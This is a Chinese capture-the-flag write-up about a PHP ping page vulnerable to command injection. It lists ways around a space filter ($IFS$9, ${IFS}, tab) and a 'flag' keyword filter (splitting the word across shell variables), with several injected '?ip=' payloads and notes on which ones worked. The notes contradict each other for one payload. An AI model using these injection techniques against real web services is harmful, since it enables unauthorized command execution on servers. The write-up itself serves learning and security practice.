拿到题的时候我是没有丝毫的思路,可能是没有做过太多命令注入的题目,所以反应不过来
还是查看的别人的wp,得知这是一道有关命令注入的题目
通过页面提示传入ip并且利用管道符查看所有文件
但是当我们查看flag.php的时候发现页面过滤掉了空格
空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}等
结果又对符号进行了过滤,替换成$IFS$9试试
发现直接把flag给过滤掉了,我去
还是先查看一下index.php吧
查看出来应该是PHP源码,大部分可以了解到是利用正则表达式匹配字符,过滤掉,加上一个对flag的贪婪匹配,尽可能多的匹配任何以flag出现的字符串
通过查看wp可以采取变量代替flag字符串,利用拼接实现功能
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
还有一种是说,在源码中可以得知$a变量是可以被覆盖的
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
#无flag
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php
#无flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$aag.php
#无flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
#有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
#无flag